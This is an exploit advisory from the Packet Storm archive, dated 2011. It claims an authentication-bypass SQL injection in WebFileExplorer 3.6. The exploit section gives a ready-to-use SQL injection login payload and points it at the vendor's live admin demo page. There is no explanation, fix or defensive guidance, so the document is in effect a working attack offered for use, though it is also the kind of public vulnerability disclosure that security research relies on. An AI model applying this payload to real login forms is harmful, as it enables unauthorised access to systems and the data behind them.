WebFileExplorer version 3.6 suffers from a remote SQL injection vulnerability that allows for authentication bypass.
44b3d587145cc97fdec0a1cdb44c1f309ce0131173e63b8c10cc4c88861dbee0In The Name Of GOD
# Exploit Title: WebFileExplorer 3.6 (Auth Bypass) SQL Injection Vulnerability
# Date: 2011-06-12
# Author: pentesters.ir
# Software Link: http://www.webfileexplorer.com/
# Version: 3.6
# Price: 99$
# Contact : Cru3l.b0y@gmail.com
# Website : http://pentesters.ir/forum/
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# Exploit:
go to demo here: http://www.webfileexplorer.com/admindemo/
user: admin' or '1=1
pass: anything
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed